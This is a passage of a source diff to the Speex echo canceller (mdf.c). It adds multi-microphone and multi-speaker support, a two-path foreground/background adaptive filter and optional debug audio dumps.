+      tmp1 = tmp2 = 0;
+      for (j=0;j<M;j++)
+      {
+         tmp1 = SUB32(MAC16_16(tmp1, X[j*N+i],Y[j*N+i]), MULT16_16(X[j*N+i+1],Y[j*N+i+1]));
+         tmp2 = MAC16_16(MAC16_16(tmp2, X[j*N+i+1],Y[j*N+i]), X[j*N+i], Y[j*N+i+1]);
+      }
+      acc[i] = PSHR32(tmp1,WEIGHT_SHIFT);
+      acc[i+1] = PSHR32(tmp2,WEIGHT_SHIFT);
+   }
+   tmp1 = tmp2 = 0;
+   for (j=0;j<M;j++)
+   {
+      tmp1 = MAC16_16(tmp1, X[(j+1)*N-1],Y[(j+1)*N-1]);
+   }
+   acc[N-1] = PSHR32(tmp1,WEIGHT_SHIFT);
+}
+
 #else
 static inline void spectral_mul_accum(const spx_word16_t *X, const spx_word32_t *Y, spx_word16_t *acc, int N, int M)
 {
@@ -252,28 +330,97 @@
       Y += N;
    }
 }
+#define spectral_mul_accum16 spectral_mul_accum
 #endif
 
 /** Compute weighted cross-power spectrum of a half-complex (packed) vector with conjugate */
-static inline void weighted_spectral_mul_conj(const spx_float_t *w, const spx_word16_t *X, const spx_word16_t *Y, spx_word32_t *prod, int N)
+static inline void weighted_spectral_mul_conj(const spx_float_t *w, const spx_float_t p, const spx_word16_t *X, const spx_word16_t *Y, spx_word32_t *prod, int N)
 {
    int i, j;
-   prod[0] = FLOAT_MUL32(w[0],MULT16_16(X[0],Y[0]));
+   spx_float_t W;
+   W = FLOAT_AMULT(p, w[0]);
+   prod[0] = FLOAT_MUL32(W,MULT16_16(X[0],Y[0]));
    for (i=1,j=1;i<N-1;i+=2,j++)
    {
-      prod[i] = FLOAT_MUL32(w[j],MAC16_16(MULT16_16(X[i],Y[i]), X[i+1],Y[i+1]));
-      prod[i+1] = FLOAT_MUL32(w[j],MAC16_16(MULT16_16(-X[i+1],Y[i]), X[i],Y[i+1]));
+      W = FLOAT_AMULT(p, w[j]);
+      prod[i] = FLOAT_MUL32(W,MAC16_16(MULT16_16(X[i],Y[i]), X[i+1],Y[i+1]));
+      prod[i+1] = FLOAT_MUL32(W,MAC16_16(MULT16_16(-X[i+1],Y[i]), X[i],Y[i+1]));
    }
-   prod[i] = FLOAT_MUL32(w[j],MULT16_16(X[i],Y[i]));
+   W = FLOAT_AMULT(p, w[j]);
+   prod[i] = FLOAT_MUL32(W,MULT16_16(X[i],Y[i]));
 }
 
+static inline void mdf_adjust_prop(const spx_word32_t *W, int N, int M, int P, spx_word16_t *prop)
+{
+   int i, j, p;
+   spx_word16_t max_sum = 1;
+   spx_word32_t prop_sum = 1;
+   for (i=0;i<M;i++)
+   {
+      spx_word32_t tmp = 1;
+      for (p=0;p<P;p++)
+         for (j=0;j<N;j++)
+            tmp += MULT16_16(EXTRACT16(SHR32(W[p*N*M + i*N+j],18)), EXTRACT16(SHR32(W[p*N*M + i*N+j],18)));
+#ifdef FIXED_POINT
+      /* Just a security in case an overflow were to occur */
+      tmp = MIN32(ABS32(tmp), 536870912);
+#endif
+      prop[i] = spx_sqrt(tmp);
+      if (prop[i] > max_sum)
+         max_sum = prop[i];
+   }
+   for (i=0;i<M;i++)
+   {
+      prop[i] += MULT16_16_Q15(QCONST16(.1f,15),max_sum);
+      prop_sum += EXTEND32(prop[i]);
+   }
+   for (i=0;i<M;i++)
+   {
+      prop[i] = DIV32(MULT16_16(QCONST16(.99f,15), prop[i]),prop_sum);
+      /*printf ("%f ", prop[i]);*/
+   }
+   /*printf ("\n");*/
+}
 
+#ifdef DUMP_ECHO_CANCEL_DATA
+#include <stdio.h>
+static FILE *rFile=NULL, *pFile=NULL, *oFile=NULL;
+
+static void dump_audio(const spx_int16_t *rec, const spx_int16_t *play, const spx_int16_t *out, int len)
+{
+   if (!(rFile && pFile && oFile))
+   {
+      speex_fatal("Dump files not open");
+   }
+   fwrite(rec, sizeof(spx_int16_t), len, rFile);
+   fwrite(play, sizeof(spx_int16_t), len, pFile);
+   fwrite(out, sizeof(spx_int16_t), len, oFile);
+}
+#endif
+
 /** Creates a new echo canceller state */
-SpeexEchoState *speex_echo_state_init(int frame_size, int filter_length)
+EXPORT SpeexEchoState *speex_echo_state_init(int frame_size, int filter_length)
 {
-   int i,N,M;
+   return speex_echo_state_init_mc(frame_size, filter_length, 1, 1);
+}
+
+EXPORT SpeexEchoState *speex_echo_state_init_mc(int frame_size, int filter_length, int nb_mic, int nb_speakers)
+{
+   int i,N,M, C, K;
    SpeexEchoState *st = (SpeexEchoState *)speex_alloc(sizeof(SpeexEchoState));
 
+   st->K = nb_speakers;
+   st->C = nb_mic;
+   C=st->C;
+   K=st->K;
+#ifdef DUMP_ECHO_CANCEL_DATA
+   if (rFile || pFile || oFile)
+      speex_fatal("Opening dump files twice");
+   rFile = fopen("aec_rec.sw", "wb");
+   pFile = fopen("aec_play.sw", "wb");
+   oFile = fopen("aec_out.sw", "wb");
+#endif
+   
    st->frame_size = frame_size;
    st->window_size = 2*frame_size;
    N = st->window_size;
@@ -281,7 +428,8 @@
    st->cancel_count=0;
    st->sum_adapt = 0;
    st->saturated = 0;
-   /* FIXME: Make that an init option (new API call?) */
+   st->screwed_up = 0;
+   /* This is the default sampling rate */
    st->sampling_rate = 8000;
    st->spec_average = DIV32_16(SHL32(EXTEND32(st->frame_size), 15), st->sampling_rate);
 #ifdef FIXED_POINT
@@ -291,25 +439,28 @@
    st->beta0 = (2.0f*st->frame_size)/st->sampling_rate;
    st->beta_max = (.5f*st->frame_size)/st->sampling_rate;
 #endif
+   st->leak_estimate = 0;
 
    st->fft_table = spx_fft_init(N);
    
-   st->e = (spx_word16_t*)speex_alloc(N*sizeof(spx_word16_t));
-   st->x = (spx_word16_t*)speex_alloc(N*sizeof(spx_word16_t));
-   st->d = (spx_word16_t*)speex_alloc(N*sizeof(spx_word16_t));
-   st->y = (spx_word16_t*)speex_alloc(N*sizeof(spx_word16_t));
-   st->Yps = (spx_word32_t*)speex_alloc(N*sizeof(spx_word32_t));
-   st->last_y = (spx_word16_t*)speex_alloc(N*sizeof(spx_word16_t));
+   st->e = (spx_word16_t*)speex_alloc(C*N*sizeof(spx_word16_t));
+   st->x = (spx_word16_t*)speex_alloc(K*N*sizeof(spx_word16_t));
+   st->input = (spx_word16_t*)speex_alloc(C*st->frame_size*sizeof(spx_word16_t));
+   st->y = (spx_word16_t*)speex_alloc(C*N*sizeof(spx_word16_t));
+   st->last_y = (spx_word16_t*)speex_alloc(C*N*sizeof(spx_word16_t));
    st->Yf = (spx_word32_t*)speex_alloc((st->frame_size+1)*sizeof(spx_word32_t));
    st->Rf = (spx_word32_t*)speex_alloc((st->frame_size+1)*sizeof(spx_word32_t));
    st->Xf = (spx_word32_t*)speex_alloc((st->frame_size+1)*sizeof(spx_word32_t));
    st->Yh = (spx_word32_t*)speex_alloc((st->frame_size+1)*sizeof(spx_word32_t));
    st->Eh = (spx_word32_t*)speex_alloc((st->frame_size+1)*sizeof(spx_word32_t));
 
-   st->X = (spx_word16_t*)speex_alloc((M+1)*N*sizeof(spx_word16_t));
-   st->Y = (spx_word16_t*)speex_alloc(N*sizeof(spx_word16_t));
-   st->E = (spx_word16_t*)speex_alloc(N*sizeof(spx_word16_t));
-   st->W = (spx_word32_t*)speex_alloc(M*N*sizeof(spx_word32_t));
+   st->X = (spx_word16_t*)speex_alloc(K*(M+1)*N*sizeof(spx_word16_t));
+   st->Y = (spx_word16_t*)speex_alloc(C*N*sizeof(spx_word16_t));
+   st->E = (spx_word16_t*)speex_alloc(C*N*sizeof(spx_word16_t));
+   st->W = (spx_word32_t*)speex_alloc(C*K*M*N*sizeof(spx_word32_t));
+#ifdef TWO_PATH
+   st->foreground = (spx_word16_t*)speex_alloc(M*N*C*K*sizeof(spx_word16_t));
+#endif
    st->PHI = (spx_word32_t*)speex_alloc(N*sizeof(spx_word32_t));
    st->power = (spx_word32_t*)speex_alloc((frame_size+1)*sizeof(spx_word32_t));
    st->power_1 = (spx_float_t*)speex_alloc((frame_size+1)*sizeof(spx_float_t));
@@ -329,14 +480,12 @@
 #endif
    for (i=0;i<=st->frame_size;i++)
       st->power_1[i] = FLOAT_ONE;
-   for (i=0;i<N*M;i++)
+   for (i=0;i<N*M*K*C;i++)
       st->W[i] = 0;
-   for (i=0;i<N;i++)
-      st->PHI[i] = 0;
    {
       spx_word32_t sum = 0;
       /* Ratio of ~10 between adaptation rate of first and last block */
-      spx_word16_t decay = QCONST16(exp(-2.4/M),15);
+      spx_word16_t decay = SHR32(spx_exp(NEG16(DIV32_16(QCONST16(2.4,11),M))),1);
       st->prop[0] = QCONST16(.7, 15);
       sum = EXTEND32(st->prop[0]);
       for (i=1;i<M;i++)
@@ -346,11 +495,13 @@
       }
       for (i=M-1;i>=0;i--)
       {
-         st->prop[i] = DIV32(MULT16_16(QCONST16(.8,15), st->prop[i]),sum);
+         st->prop[i] = DIV32(MULT16_16(QCONST16(.8f,15), st->prop[i]),sum);
       }
    }
    
-   st->memX=st->memD=st->memE=0;
+   st->memX = (spx_word16_t*)speex_alloc(K*sizeof(spx_word16_t));
+   st->memD = (spx_word16_t*)speex_alloc(C*sizeof(spx_word16_t));
+   st->memE = (spx_word16_t*)speex_alloc(C*sizeof(spx_word16_t));
    st->preemph = QCONST16(.9,15);
    if (st->sampling_rate<12000)
       st->notch_radius = QCONST16(.9, 15);
@@ -359,52 +510,91 @@
    else
       st->notch_radius = QCONST16(.992, 15);
 
-   st->notch_mem[0] = st->notch_mem[1] = 0;
+   st->notch_mem = (spx_mem_t*)speex_alloc(2*C*sizeof(spx_mem_t));
    st->adapted = 0;
    st->Pey = st->Pyy = FLOAT_ONE;
    
-   st->play_buf = (spx_int16_t*)speex_alloc(2*st->frame_size*sizeof(spx_int16_t));
-   st->play_buf_pos = 0;
-
+#ifdef TWO_PATH
+   st->Davg1 = st->Davg2 = 0;
+   st->Dvar1 = st->Dvar2 = FLOAT_ZERO;
+#endif
+   
+   st->play_buf = (spx_int16_t*)speex_alloc(K*(PLAYBACK_DELAY+1)*st->frame_size*sizeof(spx_int16_t));
+   st->play_buf_pos = PLAYBACK_DELAY*st->frame_size;
+   st->play_buf_started = 0;
+   
    return st;
 }
 
 /** Resets echo canceller state */
-void speex_echo_state_reset(SpeexEchoState *st)
+EXPORT void speex_echo_state_reset(SpeexEchoState *st)
 {
-   int i, M, N;
+   int i, M, N, C, K;
    st->cancel_count=0;
+   st->screwed_up = 0;
    N = st->window_size;
    M = st->M;
+   C=st->C;
+   K=st->K;
    for (i=0;i<N*M;i++)
       st->W[i] = 0;
+#ifdef TWO_PATH
+   for (i=0;i<N*M;i++)
+      st->foreground[i] = 0;
+#endif
    for (i=0;i<N*(M+1);i++)
       st->X[i] = 0;
    for (i=0;i<=st->frame_size;i++)
+   {
       st->power[i] = 0;
-   for (i=0;i<N;i++)
+      st->power_1[i] = FLOAT_ONE;
+      st->Eh[i] = 0;
+      st->Yh[i] = 0;
+   }
+   for (i=0;i<st->frame_size;i++)
+   {
+      st->last_y[i] = 0;
+   }
+   for (i=0;i<N*C;i++)
+   {
       st->E[i] = 0;
-   st->notch_mem[0] = st->notch_mem[1] = 0;
-  
+   }
+   for (i=0;i<N*K;i++)
+   {
+      st->x[i] = 0;
+   }
+   for (i=0;i<2*C;i++)
+      st->notch_mem[i] = 0;
+   for (i=0;i<C;i++)
+      st->memD[i]=st->memE[i]=0;
+   for (i=0;i<K;i++)
+      st->memX[i]=0;
+
    st->saturated = 0;
    st->adapted = 0;
    st->sum_adapt = 0;
    st->Pey = st->Pyy = FLOAT_ONE;
-   st->play_buf_pos = 0;
+#ifdef TWO_PATH
+   st->Davg1 = st->Davg2 = 0;
+   st->Dvar1 = st->Dvar2 = FLOAT_ZERO;
+#endif
+   for (i=0;i<3*st->frame_size;i++)
+      st->play_buf[i] = 0;
+   st->play_buf_pos = PLAYBACK_DELAY*st->frame_size;
+   st->play_buf_started = 0;
 
 }
 
 /** Destroys an echo canceller state */
-void speex_echo_state_destroy(SpeexEchoState *st)
+EXPORT void speex_echo_state_destroy(SpeexEchoState *st)
 {
    spx_fft_destroy(st->fft_table);
 
    speex_free(st->e);
    speex_free(st->x);
-   speex_free(st->d);
+   speex_free(st->input);
    speex_free(st->y);
    speex_free(st->last_y);
-   speex_free(st->Yps);
    speex_free(st->Yf);
    speex_free(st->Rf);
    speex_free(st->Xf);
@@ -415,6 +605,9 @@
    speex_free(st->Y);
    speex_free(st->E);
    speex_free(st->W);
+#ifdef TWO_PATH
+   speex_free(st->foreground);
+#endif
    speex_free(st->PHI);
    speex_free(st->power);
    speex_free(st->power_1);
@@ -424,21 +617,35 @@
 #ifdef FIXED_POINT
    speex_free(st->wtmp2);
 #endif
+   speex_free(st->memX);
+   speex_free(st->memD);
+   speex_free(st->memE);
+   speex_free(st->notch_mem);
+
    speex_free(st->play_buf);
    speex_free(st);
+   
+#ifdef DUMP_ECHO_CANCEL_DATA
+   fclose(rFile);
+   fclose(pFile);
+   fclose(oFile);
+   rFile = pFile = oFile = NULL;
+#endif
 }
 
-void speex_echo_capture(SpeexEchoState *st, const spx_int16_t *rec, spx_int16_t *out, spx_int32_t *Yout)
+EXPORT void speex_echo_capture(SpeexEchoState *st, const spx_int16_t *rec, spx_int16_t *out)
 {
    int i;
+   /*speex_warning_int("capture with fill level ", st->play_buf_pos/st->frame_size);*/
+   st->play_buf_started = 1;
    if (st->play_buf_pos>=st->frame_size)
    {
-      speex_echo_cancel(st, rec, st->play_buf, out, Yout);
+      speex_echo_cancellation(st, rec, st->play_buf, out);
       st->play_buf_pos -= st->frame_size;
-      for (i=0;i<st->frame_size;i++)
+      for (i=0;i<st->play_buf_pos;i++)
          st->play_buf[i] = st->play_buf[i+st->frame_size];
    } else {
-      speex_warning("no playback frame available");
+      speex_warning("No playback frame available (your application is buggy and/or got xruns)");
       if (st->play_buf_pos!=0)
       {
          speex_warning("internal playback buffer corruption?");
@@ -449,27 +656,49 @@
    }
 }
 
-void speex_echo_playback(SpeexEchoState *st, const spx_int16_t *play)
+EXPORT void speex_echo_playback(SpeexEchoState *st, const spx_int16_t *play)
 {
-   if (st->play_buf_pos<=st->frame_size)
+   /*speex_warning_int("playback with fill level ", st->play_buf_pos/st->frame_size);*/
+   if (!st->play_buf_started)
    {
+      speex_warning("discarded first playback frame");
+      return;
+   }
+   if (st->play_buf_pos<=PLAYBACK_DELAY*st->frame_size)
+   {
       int i;
       for (i=0;i<st->frame_size;i++)
          st->play_buf[st->play_buf_pos+i] = play[i];
       st->play_buf_pos += st->frame_size;
+      if (st->play_buf_pos <= (PLAYBACK_DELAY-1)*st->frame_size)
+      {
+         speex_warning("Auto-filling the buffer (your application is buggy and/or got xruns)");
+         for (i=0;i<st->frame_size;i++)
+            st->play_buf[st->play_buf_pos+i] = play[i];
+         st->play_buf_pos += st->frame_size;
+      }
    } else {
-      speex_warning("had to discard a playback frame");
+      speex_warning("Had to discard a playback frame (your application is buggy and/or got xruns)");
    }
 }
 
+/** Performs echo cancellation on a frame (deprecated, last arg now ignored) */
+EXPORT void speex_echo_cancel(SpeexEchoState *st, const spx_int16_t *in, const spx_int16_t *far_end, spx_int16_t *out, spx_int32_t *Yout)
+{
+   speex_echo_cancellation(st, in, far_end, out);
+}
+
 /** Performs echo cancellation on a frame */
-void speex_echo_cancel(SpeexEchoState *st, const spx_int16_t *ref, const spx_int16_t *echo, spx_int16_t *out, spx_int32_t *Yout)
+EXPORT void speex_echo_cancellation(SpeexEchoState *st, const spx_int16_t *in, const spx_int16_t *far_end, spx_int16_t *out)
 {
-   int i,j;
-   int N,M;
-   spx_word32_t Syy,See,Sxx;
+   int i,j, chan, speak;
+   int N,M, C, K;
+   spx_word32_t Syy,See,Sxx,Sdd, Sff;
+#ifdef TWO_PATH
+   spx_word32_t Dbf;
+   int update_foreground;
+#endif
    spx_word32_t Sey;
-   spx_word16_t leak_estimate;
    spx_word16_t ss, ss_1;
    spx_float_t Pey = FLOAT_ONE, Pyy=FLOAT_ONE;
    spx_float_t alpha, alpha_1;
@@ -478,6 +707,9 @@
    
    N = st->window_size;
    M = st->M;
+   C = st->C;
+   K = st->K;
+
    st->cancel_count++;
 #ifdef FIXED_POINT
    ss=DIV32_16(11469,M);
@@ -487,187 +719,342 @@
    ss_1 = 1-ss;
 #endif
 
-   filter_dc_notch16(ref, st->notch_radius, st->d, st->frame_size, st->notch_mem);
-   /* Copy input data to buffer */
-   for (i=0;i<st->frame_size;i++)
+   for (chan = 0; chan < C; chan++)
    {
-      spx_word16_t tmp;
-      spx_word32_t tmp32;
-      st->x[i] = st->x[i+st->frame_size];
-      tmp32 = SUB32(EXTEND32(echo[i]), EXTEND32(MULT16_16_P15(st->preemph, st->memX)));
+      /* Apply a notch filter to make sure DC doesn't end up causing problems */
+      filter_dc_notch16(in+chan, st->notch_radius, st->input+chan*st->frame_size, st->frame_size, st->notch_mem+2*chan, C);
+      /* Copy input data to buffer and apply pre-emphasis */
+      /* Copy input data to buffer */
+      for (i=0;i<st->frame_size;i++)
+      {
+         spx_word32_t tmp32;
+         /* FIXME: This core has changed a bit, need to merge properly */
+         tmp32 = SUB32(EXTEND32(st->input[chan*st->frame_size+i]), EXTEND32(MULT16_16_P15(st->preemph, st->memD[chan])));
 #ifdef FIXED_POINT
-      /*FIXME: If saturation occurs here, we need to freeze adaptation for M frames (not just one) */
-      if (tmp32 > 32767)
+         if (tmp32 > 32767)
+         {
+            tmp32 = 32767;
+            if (st->saturated == 0)
+               st->saturated = 1;
+         }      
+         if (tmp32 < -32767)
+         {
+            tmp32 = -32767;
+            if (st->saturated == 0)
+               st->saturated = 1;
+         }
+#endif
+         st->memD[chan] = st->input[chan*st->frame_size+i];
+         st->input[chan*st->frame_size+i] = EXTRACT16(tmp32);
+      }
+   }
+
+   for (speak = 0; speak < K; speak++)
+   {
+      for (i=0;i<st->frame_size;i++)
       {
-         tmp32 = 32767;
-         st->saturated = 1;
-      }      
-      if (tmp32 < -32767)
-      {
-         tmp32 = -32767;
-         st->saturated = 1;
-      }      
+         spx_word32_t tmp32;
+         st->x[speak*N+i] = st->x[speak*N+i+st->frame_size];
+         tmp32 = SUB32(EXTEND32(far_end[i*K+speak]), EXTEND32(MULT16_16_P15(st->preemph, st->memX[speak])));
+#ifdef FIXED_POINT
+         /*FIXME: If saturation occurs here, we need to freeze adaptation for M frames (not just one) */
+         if (tmp32 > 32767)
+         {
+            tmp32 = 32767;
+            st->saturated = M+1;
+         }      
+         if (tmp32 < -32767)
+         {
+            tmp32 = -32767;
+            st->saturated = M+1;
+         }      
 #endif
-      st->x[i+st->frame_size] = EXTRACT16(tmp32);
-      st->memX = echo[i];
-      
-      tmp = st->d[i];
-      st->d[i] = st->d[i+st->frame_size];
-      tmp32 = SUB32(EXTEND32(tmp), EXTEND32(MULT16_16_P15(st->preemph, st->memD)));
-#ifdef FIXED_POINT
-      if (tmp32 > 32767)
+         st->x[speak*N+i+st->frame_size] = EXTRACT16(tmp32);
+         st->memX[speak] = far_end[i*K+speak];
+      }
+   }   
+   
+   for (speak = 0; speak < K; speak++)
+   {
+      /* Shift memory: this could be optimized eventually*/
+      for (j=M-1;j>=0;j--)
       {
-         tmp32 = 32767;
-         st->saturated = 1;
-      }      
-      if (tmp32 < -32767)
-      {
-         tmp32 = -32767;
-         st->saturated = 1;
+         for (i=0;i<N;i++)
+            st->X[(j+1)*N*K+speak*N+i] = st->X[j*N*K+speak*N+i];
       }
-#endif
-      st->d[i+st->frame_size] = tmp32;
-      st->memD = tmp;
+      /* Convert x (echo input) to frequency domain */
+      spx_fft(st->fft_table, st->x+speak*N, &st->X[speak*N]);
    }
-
-   /* Shift memory: this could be optimized eventually*/
-   for (j=M-1;j>=0;j--)
+   
+   Sxx = 0;
+   for (speak = 0; speak < K; speak++)
    {
-      for (i=0;i<N;i++)
-         st->X[(j+1)*N+i] = st->X[j*N+i];
+      Sxx += mdf_inner_prod(st->x+speak*N+st->frame_size, st->x+speak*N+st->frame_size, st->frame_size);
+      power_spectrum_accum(st->X+speak*N, st->Xf, N);
    }
-
-   /* Convert x (echo input) to frequency domain */
-   spx_fft(st->fft_table, st->x, &st->X[0]);
    
-#ifdef SMOOTH_BLOCKS
-   spectral_mul_accum(st->X, st->W, st->Y, N, M);   
-   spx_ifft(st->fft_table, st->Y, st->e);
+   Sff = 0;  
+   for (chan = 0; chan < C; chan++)
+   {
+#ifdef TWO_PATH
+      /* Compute foreground filter */
+      spectral_mul_accum16(st->X, st->foreground+chan*N*K*M, st->Y+chan*N, N, M*K);
+      spx_ifft(st->fft_table, st->Y+chan*N, st->e+chan*N);
+      for (i=0;i<st->frame_size;i++)
+         st->e[chan*N+i] = SUB16(st->input[chan*st->frame_size+i], st->e[chan*N+i+st->frame_size]);
+      Sff += mdf_inner_prod(st->e+chan*N, st->e+chan*N, st->frame_size);
 #endif
-
+   }
+   
+   /* Adjust proportional adaption rate */
+   /* FIXME: Adjust that for C, K*/
+   if (st->adapted)
+      mdf_adjust_prop (st->W, N, M, C*K, st->prop);
    /* Compute weight gradient */
-   if (!st->saturated)
+   if (st->saturated == 0)
    {
-      for (j=M-1;j>=0;j--)
+      for (chan = 0; chan < C; chan++)
       {
-         weighted_spectral_mul_conj(st->power_1, &st->X[(j+1)*N], st->E, st->PHI, N);
-         for (i=0;i<N;i++)
-            st->W[j*N+i] += MULT16_32_Q15(st->prop[j], st->PHI[i]);
-         
-      }   
+         for (speak = 0; speak < K; speak++)
+         {
+            for (j=M-1;j>=0;j--)
+            {
+               weighted_spectral_mul_conj(st->power_1, FLOAT_SHL(PSEUDOFLOAT(st->prop[j]),-15), &st->X[(j+1)*N*K+speak*N], st->E+chan*N, st->PHI, N);
+               for (i=0;i<N;i++)
+                  st->W[chan*N*K*M + j*N*K + speak*N + i] += st->PHI[i];
+            }
+         }
+      }
+   } else {
+      st->saturated--;
    }
    
-   st->saturated = 0;
-   
+   /* FIXME: MC conversion required */ 
    /* Update weight to prevent circular convolution (MDF / AUMDF) */
-   for (j=0;j<M;j++)
+   for (chan = 0; chan < C; chan++)
    {
-      /* This is a variant of the Alternatively Updated MDF (AUMDF) */
-      /* Remove the "if" to make this an MDF filter */
-      if (j==0 || st->cancel_count%(M-1) == j-1)
+      for (speak = 0; speak < K; speak++)
       {
+         for (j=0;j<M;j++)
+         {
+            /* This is a variant of the Alternatively Updated MDF (AUMDF) */
+            /* Remove the "if" to make this an MDF filter */
+            if (j==0 || st->cancel_count%(M-1) == j-1)
+            {
 #ifdef FIXED_POINT
-         for (i=0;i<N;i++)
-            st->wtmp2[i] = EXTRACT16(PSHR32(st->W[j*N+i],NORMALIZE_SCALEDOWN+16));
-         spx_ifft(st->fft_table, st->wtmp2, st->wtmp);
-         for (i=0;i<st->frame_size;i++)
-         {
-            st->wtmp[i]=0;
-         }
-         for (i=st->frame_size;i<N;i++)
-         {
-            st->wtmp[i]=SHL16(st->wtmp[i],NORMALIZE_SCALEUP);
-         }
-         spx_fft(st->fft_table, st->wtmp, st->wtmp2);
-         /* The "-1" in the shift is a sort of kludge that trades less efficient update speed for decrease noise */
-         for (i=0;i<N;i++)
-            st->W[j*N+i] -= SHL32(EXTEND32(st->wtmp2[i]),16+NORMALIZE_SCALEDOWN-NORMALIZE_SCALEUP-1);
+               for (i=0;i<N;i++)
+                  st->wtmp2[i] = EXTRACT16(PSHR32(st->W[chan*N*K*M + j*N*K + speak*N + i],NORMALIZE_SCALEDOWN+16));
+               spx_ifft(st->fft_table, st->wtmp2, st->wtmp);
+               for (i=0;i<st->frame_size;i++)
+               {
+                  st->wtmp[i]=0;
+               }
+               for (i=st->frame_size;i<N;i++)
+               {
+                  st->wtmp[i]=SHL16(st->wtmp[i],NORMALIZE_SCALEUP);
+               }
+               spx_fft(st->fft_table, st->wtmp, st->wtmp2);
+               /* The "-1" in the shift is a sort of kludge that trades less efficient update speed for decrease noise */
+               for (i=0;i<N;i++)
+                  st->W[chan*N*K*M + j*N*K + speak*N + i] -= SHL32(EXTEND32(st->wtmp2[i]),16+NORMALIZE_SCALEDOWN-NORMALIZE_SCALEUP-1);
 #else
-         spx_ifft(st->fft_table, &st->W[j*N], st->wtmp);
-         for (i=st->frame_size;i<N;i++)
-         {
-            st->wtmp[i]=0;
+               spx_ifft(st->fft_table, &st->W[chan*N*K*M + j*N*K + speak*N], st->wtmp);
+               for (i=st->frame_size;i<N;i++)
+               {
+                  st->wtmp[i]=0;
+               }
+               spx_fft(st->fft_table, st->wtmp, &st->W[chan*N*K*M + j*N*K + speak*N]);
+#endif
+            }
          }
-         spx_fft(st->fft_table, st->wtmp, &st->W[j*N]);
-#endif
       }
    }
+   
+   /* So we can use power_spectrum_accum */ 
+   for (i=0;i<=st->frame_size;i++)
+      st->Rf[i] = st->Yf[i] = st->Xf[i] = 0;
+      
+   Dbf = 0;
+   See = 0;    
+#ifdef TWO_PATH
+   /* Difference in response, this is used to estimate the variance of our residual power estimate */
+   for (chan = 0; chan < C; chan++)
+   {
+      spectral_mul_accum(st->X, st->W+chan*N*K*M, st->Y+chan*N, N, M*K);
+      spx_ifft(st->fft_table, st->Y+chan*N, st->y+chan*N);
+      for (i=0;i<st->frame_size;i++)
+         st->e[chan*N+i] = SUB16(st->e[chan*N+i+st->frame_size], st->y[chan*N+i+st->frame_size]);
+      Dbf += 10+mdf_inner_prod(st->e+chan*N, st->e+chan*N, st->frame_size);
+      for (i=0;i<st->frame_size;i++)
+         st->e[chan*N+i] = SUB16(st->input[chan*st->frame_size+i], st->y[chan*N+i+st->frame_size]);
+      See += mdf_inner_prod(st->e+chan*N, st->e+chan*N, st->frame_size);
+   }
+#endif
 
-   /* Compute filter response Y */
-   spectral_mul_accum(st->X, st->W, st->Y, N, M);
-   spx_ifft(st->fft_table, st->Y, st->y);
+#ifndef TWO_PATH
+   Sff = See;
+#endif
 
+#ifdef TWO_PATH
+   /* Logic for updating the foreground filter */
    
-   /* Compute error signal (for the output with de-emphasis) */ 
-   for (i=0;i<st->frame_size;i++)
+   /* For two time windows, compute the mean of the energy difference, as well as the variance */
+   st->Davg1 = ADD32(MULT16_32_Q15(QCONST16(.6f,15),st->Davg1), MULT16_32_Q15(QCONST16(.4f,15),SUB32(Sff,See)));
+   st->Davg2 = ADD32(MULT16_32_Q15(QCONST16(.85f,15),st->Davg2), MULT16_32_Q15(QCONST16(.15f,15),SUB32(Sff,See)));
+   st->Dvar1 = FLOAT_ADD(FLOAT_MULT(VAR1_SMOOTH, st->Dvar1), FLOAT_MUL32U(MULT16_32_Q15(QCONST16(.4f,15),Sff), MULT16_32_Q15(QCONST16(.4f,15),Dbf)));
+   st->Dvar2 = FLOAT_ADD(FLOAT_MULT(VAR2_SMOOTH, st->Dvar2), FLOAT_MUL32U(MULT16_32_Q15(QCONST16(.15f,15),Sff), MULT16_32_Q15(QCONST16(.15f,15),Dbf)));
+   
+   /* Equivalent float code:
+   st->Davg1 = .6*st->Davg1 + .4*(Sff-See);
+   st->Davg2 = .85*st->Davg2 + .15*(Sff-See);
+   st->Dvar1 = .36*st->Dvar1 + .16*Sff*Dbf;
+   st->Dvar2 = .7225*st->Dvar2 + .0225*Sff*Dbf;
+   */
+   
+   update_foreground = 0;
+   /* Check if we have a statistically significant reduction in the residual echo */
+   /* Note that this is *not* Gaussian, so we need to be careful about the longer tail */
+   if (FLOAT_GT(FLOAT_MUL32U(SUB32(Sff,See),ABS32(SUB32(Sff,See))), FLOAT_MUL32U(Sff,Dbf)))
+      update_foreground = 1;
+   else if (FLOAT_GT(FLOAT_MUL32U(st->Davg1, ABS32(st->Davg1)), FLOAT_MULT(VAR1_UPDATE,(st->Dvar1))))
+      update_foreground = 1;
+   else if (FLOAT_GT(FLOAT_MUL32U(st->Davg2, ABS32(st->Davg2)), FLOAT_MULT(VAR2_UPDATE,(st->Dvar2))))
+      update_foreground = 1;
+   
+   /* Do we update? */
+   if (update_foreground)
    {
-      spx_word32_t tmp_out;
-#ifdef SMOOTH_BLOCKS
-      spx_word16_t y = MULT16_16_Q15(st->window[i+st->frame_size],st->e[i+st->frame_size]) + MULT16_16_Q15(st->window[i],st->y[i+st->frame_size]);
-      tmp_out = SUB32(EXTEND32(st->d[i+st->frame_size]), EXTEND32(y));
+      st->Davg1 = st->Davg2 = 0;
+      st->Dvar1 = st->Dvar2 = FLOAT_ZERO;
+      /* Copy background filter to foreground filter */
+      for (i=0;i<N*M*C*K;i++)
+         st->foreground[i] = EXTRACT16(PSHR32(st->W[i],16));
+      /* Apply a smooth transition so as to not introduce blocking artifacts */
+      for (chan = 0; chan < C; chan++)
+         for (i=0;i<st->frame_size;i++)
+            st->e[chan*N+i+st->frame_size] = MULT16_16_Q15(st->window[i+st->frame_size],st->e[chan*N+i+st->frame_size]) + MULT16_16_Q15(st->window[i],st->y[chan*N+i+st->frame_size]);
+   } else {
+      int reset_background=0;
+      /* Otherwise, check if the background filter is significantly worse */
+      if (FLOAT_GT(FLOAT_MUL32U(NEG32(SUB32(Sff,See)),ABS32(SUB32(Sff,See))), FLOAT_MULT(VAR_BACKTRACK,FLOAT_MUL32U(Sff,Dbf))))
+         reset_background = 1;
+      if (FLOAT_GT(FLOAT_MUL32U(NEG32(st->Davg1), ABS32(st->Davg1)), FLOAT_MULT(VAR_BACKTRACK,st->Dvar1)))
+         reset_background = 1;
+      if (FLOAT_GT(FLOAT_MUL32U(NEG32(st->Davg2), ABS32(st->Davg2)), FLOAT_MULT(VAR_BACKTRACK,st->Dvar2)))
+         reset_background = 1;
+      if (reset_background)
+      {
+         /* Copy foreground filter to background filter */
+         for (i=0;i<N*M*C*K;i++)
+            st->W[i] = SHL32(EXTEND32(st->foreground[i]),16);
